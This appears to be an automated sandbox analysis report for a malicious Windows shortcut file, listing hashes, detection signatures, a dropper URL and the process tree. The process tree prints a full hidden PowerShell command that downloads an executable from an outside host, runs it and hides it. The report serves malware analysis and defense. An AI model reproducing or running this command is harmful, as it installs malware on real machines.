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Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    06/08/2024, 20:11

General

  • Target

    MalwareBazaar.lnk

  • Size

    2KB

  • MD5

    8d2464bee26f6e3d7c43953cfb3eebae

  • SHA1

    906f5952737b7b6f15abaaaca1a4c22111d39338

  • SHA256

    49b2caa0106ae7c87c555dfc3a919f2c1c4f1074e605b4c220fe3c85e7d2052e

  • SHA512

    5e75b583648ddfe7f34da44d2d4188cd9663e51b5a6f773539d43cf0269ca511a5fd7e922ade8438ea3f7ec5ce6f48cdbd7b2a3cdcdff43fe78ccd61dee7e53e

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHeLl.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHeLl.exe" -ExecutionPolicy -Bypass -WindowStyle hiDdEn -HiDdEn --hiDDeN ---HiddeN ----HidDEn -Command msadp32.acm;(new-object System.Net.WebClient).DownloadFile('http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe','doubles.exe');./'doubles.exe';(get-item 'doubles.exe').Attributes += 'Hidden';
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2736

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2736-38-0x000007FEF4FDE000-0x000007FEF4FDF000-memory.dmp

    Filesize

    4KB

  • memory/2736-39-0x000000001B600000-0x000000001B8E2000-memory.dmp

    Filesize

    2.9MB

  • memory/2736-40-0x0000000001D80000-0x0000000001D88000-memory.dmp

    Filesize

    32KB

  • memory/2736-43-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-42-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-41-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-44-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-45-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-46-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmp

    Filesize

    9.6MB